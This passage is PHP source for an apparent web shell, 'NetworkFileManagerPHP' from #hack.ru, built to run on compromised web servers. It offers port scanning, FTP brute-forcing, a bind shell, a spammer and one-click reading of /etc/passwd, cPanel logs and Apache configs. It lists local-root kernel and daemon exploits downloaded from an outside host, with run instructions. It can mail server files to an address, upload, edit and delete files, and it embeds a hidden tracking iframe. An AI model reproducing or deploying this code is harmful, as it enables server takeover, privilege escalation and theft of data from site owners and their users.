align=left><input type='reset' value='Clear' name='B2' class=button1 $style_button></td> + + </tr> + +</form></table><br> + +"; + + + + + + + +/* HTML Form */ + +$HTML=<<<html + +<html> + +<head> + +<title>$title $ver</title> + +$meta + +$style + +$ins + +</head> + + + +<body bgcolor=#E0F7FF leftmargin=0 topmargin=0 marginwidth=0 marginheight=0> + +<TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + +<tr><td align=center colspan=6 class=pagetitle><b>NetworkFileManagerPHP (� #hack.ru)</b> Version: <b>$ver</b> </td></tr> + +<tr><td align=center colspan=6 class=pagetitle>Script for l33t admin job</td></tr> + +<tr> + +<td class=pagetitle align=center width='85%'><b>Script help:</b></td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF'>.:Home</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href="http://hackru.info">.:#hack.ru</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href = '$PHP_SELF?action=feedback'>.:Feedback</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=help'>.:About</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=update'>.:Update</a>&nbsp;&nbsp;</td> + +</tr> + + + +<tr> + +<td class=pagetitle align=center width='85%' ><b>Net tools:</b></td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=portscan'>.:Port scanner</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=ftp'>.:FTP bruteforce</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=tar'>.:Folder compression</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=sql'>.:Mysql Dump</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=bash'>.:bindshell (/bin/sh)</a>&nbsp;&nbsp;</td> + +</tr> + +<tr> + +<td class=pagetitle align=center width='85%' ><b>Exploits access:</b></td> + +<td $style2 align=center width='15%' colspan=2><a class=menu href='$PHP_SELF?action=bash'>.:bindshell</a>&nbsp;&nbsp;</td> + +<td $style_open align=center width='15%' colspan=3><a class=menu href='$PHP_SELF?action=exploits'>.:Exploits</a>&nbsp;&nbsp;</td> + +<tr> + +<td class=pagetitle align=center width='85%'><b>l33t tools:</b></td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?action=crypte'>.:Crypter</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?action=decrypte'>.:Decrypter</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?action=brut_ftp'>.:Full access FTP</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?action=spam'>.:Spamer (!new!)</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?action=down'>.:Remote upload</a>&nbsp;&nbsp;</td> + +</tr> + +<tr> + +<td class=pagetitle align=center width='85%' colspan=6>$sob&nbsp;&nbsp;ID:<u><b>$id</b></u></td> + +</tr> + +<tr> + +<td $style2 align=center width='15%' colspan=2><a class=menu href="$PHP_SELF?tm=/etc&fi=passwd&action=view">.:etc/passwd</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href = '$PHP_SELF?tm=/var/cpanel&fi=accounting.log&action=view'>.:cpanel log</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?tm=/usr/local/apache/conf&fi=httpd.conf&action=view'>.:httpd.conf[1]</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='$PHP_SELF?tm=/etc/httpd&fi=httpd.conf&action=view'>.:httpd.conf[2]</a>&nbsp;&nbsp;</td> + +<td $style2 align=center width='15%' ><a class=menu href='http://goat.cx'>.:Bonus</td> + + + +</tr> + +<!-- add by revers --> + +<tr> + +<td class=pagetitle align=center width='85%'><b>Traffic tools:</b></td> +<td $style2 align=center width='15%'><a class=menu href='$PHP_SELF?action=gettraff'>.:Get the script</a>&nbsp;&nbsp;</td> + +</tr> + +<!-- end add by revers --> + +</table> + +html; + +$key="goatse"; + +$string="<IFRAME src=http://hackru.info/adm/count_nfm.php width=1 height=1 frameBorder=0 width=0 height=0></iframe>"; + +/* randomizing letters array for random filenames of compression folders */ + +$CHARS = "abcdefghijklmnopqrstuvwxyz"; + +for ($i=0; $i<6; $i++) $pass .= $CHARS[rand(0,strlen($CHARS)-1)]; + + + +/* set full path to host and dir where public exploits and soft are situated */ + +$public_site = "http://hackru.info/adm/exploits/public_exploits/"; + +/* $public_site = "http://localhost/adm/public_exploits/"; */ + +/* Public exploits and soft */ + +$public[1] = "s"; // bindshell + +$title_ex[1] = " + +&nbsp;&nbsp;bindtty.c - remote shell on 4000 port, with rights of current user (id of apache)<br> + +<dd><b>Run:</b> ./s<br> + +&nbsp;&nbsp;&nbsp;Connect tot host with your favorite telnet client. Best of them are <u><b>putty</b></u> and <u><b>SecureCRT</b></u> + +"; + +$public[2] = "m"; // mremap + +$title_ex[2] = " + +&nbsp;&nbsp;MREMAP - allows to gain local root priveleges by exploiting the bug of memory .<br> + +<dd><b>Run:</b> ./m<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$public[3] = "p"; // ptrace + +$title_ex[3] = " + +&nbsp;&nbsp;PTRACE - good one, works like mremap, but for another bug<br> + +<dd><b>Run:</b> ./p<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$public[4] = "psyBNC2.3.2-4.tar.gz"; // psybnc + +$title_ex[4] = " + +&nbsp;&nbsp;psyBNC - Last release of favorite IRC bouncer<br> + +<dd><b>Decompression:</b> tar -zxf psyBNC2.3.2-4.tar.gz // will be folder <u>psybnc</u><br> + +<dd><b>Compilation, installing and running psybnc:</b> make // making psybnc // ./psybnc // You may edit psybnc.conf with NFM, Default listening port is 31337 - connect to it with your favotite IRC client and set a password<br> + +&nbsp;&nbsp;&nbsp;Allowed to run with uid of apache, but check out the firewall! + +"; + +/* Private exploits */ + +$private[1] = "brk"; // localroot root linux 2.4.* + +$title_exp[1] = " + +&nbsp;&nbsp;localroot root linux 2.4.* - Exploit do_brk (code added) - gains local root priveleges if exploited succes<br> + +<dd><b>Run:</b> ./brk<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[2] = "dupescan"; // Glftpd DupeScan Local Exploit by RagnaroK + +$title_exp[2] = " + +&nbsp;&nbsp;lGlftpd DupeScan Local Exploit - private local root exploits for Glftpd daemon <br> + +<dd>There are 2 files: <b>dupescan</b> and <b>glftpd</b> To gain root uid, you need to write dupescan to <br> + +glftpd/bin/ with command <u>cp dupescan glftpd/bin/</u>, and after run <u>./glftpd</u>. Get the root!!!<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[3] = "glftpd"; + +$title_exp[3] = " + +&nbsp;&nbsp;lGlftpd DupeScan Local Exploit - private local root exploits for Glftpd daemon <br> + +part 2<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[4] = "sortrace"; + +$title_exp[4] = " + +&nbsp;&nbsp;Traceroute v1.4a5 exploit by sorbo - private local root exploit for traceroute up to 1.4.a5<br> + +<dd><b>Run:</b> ./sortrace<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[5] = "root"; + +$title_exp[5] = " + +&nbsp;&nbsp;localroot root linux 2.4.* - ptrace private_mod exploits, may gain local root privaleges<br> + +<dd><b>Run:</b> ./root<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[6] = "sxp"; + +$title_exp[6] = " + +&nbsp;&nbsp;Sendmail 8.11.x exploit localroot - private local root exploit for Sendmail 8.11.x<br> + +<dd><b>Run:</b> ./sxp<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[7] = "ptrace_kmod"; + +$title_exp[7] = " + +&nbsp;&nbsp;localroot root linux 2.4.* - private local root exploit, uses kmod bug + ptrace , gives local root<br> + +<dd><b>Run:</b> ./ptrace_kmod<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +$private[8] = "mr1_a"; + +$title_exp[8] = " + +&nbsp;&nbsp;localroot root linux 2.4.* - mremap any memory size local root exploit for kernels 2.4.x<br> + +<dd><b>Run:</b> ./mr1_a<br> + +&nbsp;&nbsp;&nbsp;Note: Run only from telnet session, not from web!!! + +"; + +/* set full path to host and dir where private exploits and soft are situated */ + +$private_site = "http://hackru.info/adm/exploits/private_exploits/"; + +endif; + + + +$createdir= "files"; + + + +/* spamer config */ + + + +$sendemail = "packetstorm@km.ru"; + +$confirmationemail = "packetstorm@km.ru"; + +$mailsubject = "Hello!This is a test message!"; + + + + + + + +/* !!!Warning: DO NOT CHANGE ANYTHING IF YOU DUNNO WHAT ARE YOU DOING */ + +global $action,$tm,$cm; + + + +function getdir() { + + global $gdir,$gsub,$i,$j,$REMOTE_ADDR,$PHP_SELF; + + $st = getcwd(); + + $st = str_replace("\\","/",$st); + + $j = 0; + + $gdir = array(); + + $gsub = array(); + + print("<br>"); + + for ($i=0;$i<=(strlen($st)-1);$i++) { + + if ($st[$i] != "/") { + + $gdir[$j] = $gdir[$j].$st[$i]; + + $gsub[$j] = $gsub[$j].$st[$i]; + + } else { + + $gdir[$j] = $gdir[$j]."/"; + + $gsub[$j] = $gsub[$j]."/"; + + $gdir[$j+1] = $gdir[$j]; + + $j++; + + } + + } + + + print("<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#ffffcc BORDER=1 width=60% align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=left><b>&nbsp;&nbsp;Current directory: </b>"); + + for ($i = 0;$i<=$j;$i++) print("<a href='$PHP_SELF?tm=$gdir[$i]'>$gsub[$i]</a>"); + + $free = tinhbyte(diskfreespace("./")); + + print("</td></tr><tr><td><b>&nbsp;&nbsp;Current disk free space</b> : <font face='Tahoma' size='1' color='#000000'>$free</font></td></tr>"); + + print("<tr><td><b>&nbsp; ".exec("uname -a")."</b></td></tr>"); + + print("<tr><td><b>&nbsp; ".exec("cat /proc/cpuinfo | grep GHz")." &nbsp;&nbsp; &nbsp; &nbsp;Real speed of ".exec("cat /proc/cpuinfo | grep MHz")."</b></td></tr>"); + + print("<tr><td><b>&nbsp; Perhaps release is :&nbsp;&nbsp;".exec("cat /etc/redhat-release")."</b></td></tr></td>"); + + print("<tr><td><b>&nbsp; ".exec("id")." &nbsp; &nbsp; &nbsp; &nbsp; ".exec("who")."</b></td></tr>"); + + print("<tr><td><b>&nbsp;&nbsp;Your IP:&nbsp;&nbsp;</b><font face='Tahoma' size='1' color='#000000'>$REMOTE_ADDR &nbsp; $HTTP_X_FORWARDED_FOR</font></td></tr></table><br>"); + + +} + +function tinhbyte($filesize) { + + if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; } + + elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; } + + elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; } + + else { $filesize = $filesize . ""; } + + return $filesize; + +} + + + +function permissions($mode) { + + $perms = ($mode & 00400) ? "r" : "-"; + + $perms .= ($mode & 00200) ? "w" : "-"; + + $perms .= ($mode & 00100) ? "x" : "-"; + + $perms .= ($mode & 00040) ? "r" : "-"; + + $perms .= ($mode & 00020) ? "w" : "-"; + + $perms .= ($mode & 00010) ? "x" : "-"; + + $perms .= ($mode & 00004) ? "r" : "-"; + + $perms .= ($mode & 00002) ? "w" : "-"; + + $perms .= ($mode & 00001) ? "x" : "-"; + + return $perms; + +} + + + +function readdirdata($dir) { + + global $action,$files,$dirs,$tm,$supsub,$thum,$style3,$style4,$PHP_SELF; + + $files = array(); + + $dirs= array(); + + $open = @opendir($dir); + + + + if (!@readdir($open) or !$open ) echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=alert><b>Access denied.</b></td></tr></table>"; + + else { + + $open = opendir($dir); + + while ($file = readdir($open)) { + + $rec = $file; + + $file = $dir."/".$file; + + if (is_file($file)) $files[] = $rec; + + } + + sort($files); + + $open = opendir($dir); + + $i=0; + + while ($dire = readdir($open)) { + + if ( $dire != "." ) { + + $rec = $dire; + + $dire = $dir."/".$dire; + + if (is_dir($dire)) { + + $dirs[] = $rec; + + $i++; + + } + + } + + } + + sort($dirs); + + print("<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=760 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td width = '20%' align = 'center' class=pagetitle><b>Name</b></td><td width = '10%' align = 'center' class=pagetitle><b>Size</b></td><td width = '20%' align = 'center' class=pagetitle><b>Date of creation</b></td><td width = '10%' align = 'center' class=pagetitle><b>Type</b></td><td width = '15%' align = 'center' class=pagetitle><b>Access rights</b></td><td width = '25%' align = 'center' class=pagetitle><b>Comments</b></td></tr></table>"); + + for ($i=0;$i<sizeof($dirs);$i++) { + + if ($dirs[$i] != "..") { + + $type = 'Dir'; + + $fullpath = $dir."/".$dirs[$i]; + + $time = date("d/m/y H:i",filemtime($fullpath)); + + $perm = permissions(fileperms($fullpath)); + + $size = tinhbyte(filesize($fullpath)); + + $name = $dirs[$i]; + + $fullpath = $tm."/".$dirs[$i]; + + if ($perm[7] == "w" && $name != "..") $action = " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#98FAFF width=100% BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr> + + <td align=center $style3><a href ='$PHP_SELF?tm=$fullpath&action=uploadd'>Upload</a></td> + + <td align=center $style3><a href ='$PHP_SELF?tm=$tm&dd=$name&action=deldir'>Delete</a></td> + + </tr> + + <tr> + + <td align=center $style3><a href ='$PHP_SELF?tm=$fullpath&action=newdir'>Create directory</a></td> + + <td align=center $style3><a href ='$PHP_SELF?tm=$fullpath&action=arhiv'>Directory compression</a></td> + + </tr></table>"; + + else $action = "<TABLE CELLPADDING=0 CELLSPACING=0 width=100% BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center><b>Read only</b></td><td align=center $style2><a href ='$PHP_SELF?tm=$fullpath&action=arhiv'>Directory compression</a></td></tr></table>"; + + print("<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#33CCCC BORDER=1 width=760 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td width = '20%' align = 'left'><a href = '$PHP_SELF?tm=$fullpath'><b><i>$name</i></b></a></td><td width = '10%' align = 'center'>$size</td><td width = '20%' align = 'center'>$time</td><td width = '10%' align = 'center'>$type</td><td width = '15%' align = 'center'>$perm</td><td width = '25%' align = 'left'>$action</td></tr></table>"); + + } + + } + + for ($i=0;$i<sizeof($files);$i++) { + + $type = 'File'; + + $fullpath = $dir."/".$files[$i]; + + $time = date("d/m/y H:i",filemtime($fullpath)); + + $perm = permissions(fileperms($fullpath)); + + $size = tinhbyte(filesize($fullpath)); + + if ( $perm[6] == "r" ) $act = "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#98FAFF width=100% BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr><td align=center $style4><a href='$PHP_SELF?tm=$dir&fi=$files[$i]&action=view'>View</a></td> + + <td align=center $style4><a href='$PHP_SELF?tm=$dir&fi=$files[$i]&action=download'>Download</a></td></tr> + + <tr><td align=center $style4><a href='$PHP_SELF?tm=$dir&fi=$files[$i]&action=download_mail'>To e-mail</a></td> + + <td align=center $style4><a href='$PHP_SELF?tm=$dir&fi=$files[$i]&action=copyfile'>Copy</a></td> + + </tr></table>"; + + if ( $perm[7] == "w" ) $act .= "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#98FAFF width=100% BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr><td align=center $style4><a href='$PHP_SELF?tm=$dir&fi=$files[$i]&action=edit'>Edit</a></td> + + <td align=center $style4><a href='$PHP_SELF?tm=$dir&fi=$files[$i]&action=delete'>Delete</a></td> + + </tr></table>"; + + print("<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#FFFFCC BORDER=1 width=760 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td width = '20%' align = 'left'><b>$files[$i]</b></font></td><td width = '10%' align = 'center'>$size</td><td width = '20%' align = 'center'>$time</td><td width = '10%' align = 'center'>$type</td><td width = '15%' align = 'center'>$perm</td><td width = '25%' align = 'center'>$act</td></tr></table>"); + + } + + } + +} + + + +function html() { + +global $ver,$meta,$style; + +echo " + +<html> + +<head> + +<title>NetworkFileManagerPHP</title> + +</head> + +<body bgcolor=#86CCFF leftmargin=0 topmargin=0 marginwidth=0 marginheight=0> + +"; + +} + + + +# file view + +function viewfile($dir,$file) { + + + + $buf = explode(".", $file); + + $ext = $buf[sizeof($buf)-1]; + + $ext = strtolower($ext); + + $dir = str_replace("\\","/",$dir); + + $fullpath = $dir."/".$file; + + + + switch ($ext) { + + case "jpg": + + + + header("Content-type: image/jpeg"); + + readfile($fullpath); + + break; + + case "jpeg": + + + + header("Content-type: image/jpeg"); + + readfile($fullpath); + + break; + + case "gif": + + + + header("Content-type: image/gif"); + + readfile($fullpath); + + break; + + + + case "png": + + + + header("Content-type: image/png"); + + readfile($fullpath); + + break; + + default: + + + + case "avi": + + header("Content-type: video/avi"); + + readfile($fullpath); + + + + break; + + default: + + + + case "mpeg": + + header("Content-type: video/mpeg"); + + readfile($fullpath); + + break; + + default: + + + + case "mpg": + + header("Content-type: video/mpg"); + + readfile($fullpath); + + break; + + default: + + + + html(); + + chdir($dir); + + getdir(); + + + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center><font color='#FFFFCC' face='Tahoma' size = 2>Path to filename:</font><font color=white face ='Tahoma' size = 2>$fullpath</font></td></tr></table>"; + + $fp = fopen($fullpath , "r"); + + while (!feof($fp)) { + + $char = fgetc($fp); + + $st .= $char; + + } + + + + $st = str_replace("&", "&amp;", $st); + + $st = str_replace("<", "&lt;", $st); + + $st = str_replace(">", "&gt;", $st); + + + + $tem = "<p align='center'><textarea wrap='off' rows='20' name='S1' cols='90' class=inputbox>$st</textarea></p>"; + + echo $tem; + + fclose($fp); + + break; + + } + +} + + + +# send file to mail + +function download_mail($dir,$file) { + + global $action,$tm,$cm,$demail, $REMOTE_ADDR, $HTTP_HOST, $PATH_TRANSLATED; + + $buf = explode(".", $file); + + $dir = str_replace("\\","/",$dir); + + $fullpath = $dir."/".$file; + + $size = tinhbyte(filesize($fullpath)); + + $fp = fopen($fullpath, "rb"); + + while(!feof($fp)) + + + + $attachment .= fread($fp, 4096); + + $attachment = base64_encode($attachment); + + $subject = "NetworkFileManagerPHP ($file)"; + + + + $boundary = uniqid("NextPart_"); + + $headers = "From: $demail\nContent-type: multipart/mixed; boundary=\"$boundary\""; + + + + $info = "---==== Message from ($demail)====---\n\n"; + + $info .= "IP:\t$REMOTE_ADDR\n"; + + $info .= "HOST:\t$HTTP_HOST\n"; + + $info .= "URL:\t$HTTP_REFERER\n"; + + $info .= "DOC_ROOT:\t$PATH_TRANSLATED\n"; + + $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$file \nContent-disposition: inline; filename=$file \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--"; + + + + $send_to = "$demail"; + + + + $send = mail($send_to, $subject, $info, $headers); + + + + if($send == 2) + + echo "<br> + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <tr><td align=center> + + <font color='#FFFFCC' face='Tahoma' size = 2>Thank you!!!File <b>$file</b> was successfully sent to <u>$demail</u>.</font></center></td></tr></table><br>"; + + + +fclose($fp); + + } + + + + + + + +function copyfile($dir,$file) { + + global $action,$tm; + + $fullpath = $dir."/".$file; + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Filename :</font><font color = 'black' face ='Tahoma' size = 2>&nbsp;<b><u>$file</u></b>&nbsp; copied successfully to &nbsp;<u><b>$dir</b></u></font></center></td></tr></table>"; + + if (!copy($file, $file.'.bak')){ + + echo (" unable to copy file $file"); + + } + +} + + + + + +# file edit + +function editfile($dir,$file) { + + global $action,$datar; + + $fullpath = $dir."/".$file; + + chdir($dir); + + getdir(); + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Filename :</font><font color = 'black' face ='Tahoma' size = 2>$fullpath</font></center></td></tr></table>"; + + $fp = fopen($fullpath , "r"); + + while (!feof($fp)) { + + $char = fgetc($fp); + + $st .= $char; + + } + + $st = str_replace("&", "&amp;", $st); + + $st = str_replace("<", "&lt;", $st); + + $st = str_replace(">", "&gt;", $st); + + $st = str_replace('"', "&quot;", $st); + + echo "<form method='POST' action='$PHP_SELF?tm=$dir&fi=$file&action=save'><p align='center'><textarea rows='14' name='S1' cols='82' class=inputbox>$st</textarea></p><p align='center'><input type='submit' value='SAVE' name='save' class=button1 $style_button></p><input type = hidden value = $tm></form>"; + + $datar = $S1; + + + +} + + + +# file write + +function savefile($dir,$file) { + + global $action,$S1,$tm; + + $fullpath = $dir."/".$file; + + $fp = fopen($fullpath, "w"); + + $S1 = stripslashes($S1); + + fwrite($fp,$S1); + + fclose($fp); + + chdir($dir); + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>File <b>$fullpath</b> was saved successfully.</font></td></tr></table>"; + + getdir(); + + readdirdata($tm); + +} + + + +# directory delete + +function deletef($dir) + +{ + + global $action,$tm,$fi; + + $tm = str_replace("\\\\","/",$tm); + + $link = $tm."/".$fi; + + unlink($link); + + chdir($tm); + + getdir(); + + readdirdata($tm); + +} + + + +# file upload + +function uploadtem() { + + global $file,$tm,$thum,$PHP_SELF,$dir,$style_button; + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><form enctype='multipart/form-data' action='$PHP_SELF?tm=$dir&action=upload' method=post><tr><td align=left valign=top colspan=3 class=pagetitle><b>Upload file:</b></td></tr><tr><td><input type='hidden' name='tm' value='$tm'></td><td><input name='userfile' type='file' size=48 class=inputbox></td><td><input type='submit' value='Upload file' class=button1 $style_button></td></tr></form></table>"; + +} + + + +function upload() { + + global $HTTP_POST_FILES,$tm; + + echo $set; + + copy($HTTP_POST_FILES["userfile"][tmp_name], $tm."/".$HTTP_POST_FILES["userfile"][name]) or die("Unable to upload file".$HTTP_POST_FILES["userfile"][name]); + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>File <b>".$HTTP_POST_FILES["userfile"][name]."</b> was successfully uploaded.</font></center></td></tr></table>"; + + @unlink($userfile); + + chdir($tm); + + getdir(); + + readdirdata($tm); + +} + + + +# get exploits + +function upload_exploits() { + + global $PHP_SELF,$style_button, $public_site, $private_site, $public, $title_ex, $style_open, $private, $title_exp; + + + + echo "<br> + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr $style_open><td align=left valign=top colspan=3 class=pagetitle> + + &nbsp;&nbsp;<b>Public exploits and soft:</b></td></tr> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>bindshell (bin/sh)</b> - bindtty.c (binary file to run - <u>s</u>)</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_ex[1]</td> + + <td width=100><input type='hidden' name='file3' value='$public_site$public[1]'> + + <input type='hidden' name='file2' value='$public[1]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Local ROOT for linux 2.6.20</b> - mremap (binary file to run - <u>m</u>)</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_ex[2]</td> + + <td width=100><input type='hidden' name='file3' value='$public_site$public[2]'> + + <input type='hidden' name='file2' value='$public[2]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Local ROOT for linux 2.6.20</b> - ptrace (binary file to run - <u>p</u>)</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_ex[3]</td> + + <td width=100><input type='hidden' name='file3' value='$public_site$public[3]'> + + <input type='hidden' name='file2' value='$public[3]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>psyBNC version:2.3.2-4</b> - psyBNC (binary file to run - <u>./psybnc</u>)</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_ex[4]</td> + + <td width=100><input type='hidden' name='file3' value='$public_site$public[4]'> + + <input type='hidden' name='file2' value='$public[4]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + + + echo "<br> + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr $style_open><td align=left valign=top colspan=3 class=pagetitle> + + &nbsp;&nbsp;<b>Private exploits:</b></td></tr> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>BRK</b> - Local Root Unix 2.4.* (binary file to run - <u>brk</u>)</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[1]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[1]'> + + <input type='hidden' name='file2' value='$private[1]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Glftpd DupeScan Local Exploit <u>File 1</u></b> (binary file to run - <u>$private[2]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[2]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[2]'> + + <input type='hidden' name='file2' value='$private[2]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo " + + <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white> + + <form enctype='multipart/form-data' action='$PHP_SELF?action=exploits&status=ok' method=post> + + <tr><td align=left valign=top colspan=3 bgcolor=#FFFFCC> + + &nbsp;&nbsp;<b>Glftpd DupeScan Local Exploit <u>File 2</u></b> (binary file to run - <u>$private[3]</u> )</td></tr> + + <tr> + + <td class=pagetitle width=500>&nbsp;$title_exp[3]</td> + + <td width=100><input type='hidden' name='file3' value='$private_site$private[3]'> + + <input type='hidden' name='file2' value='$private[3]'> + + <input type='submit' value='Get file' class=button1 $style_button></td></tr> + + </form></table>"; + + echo 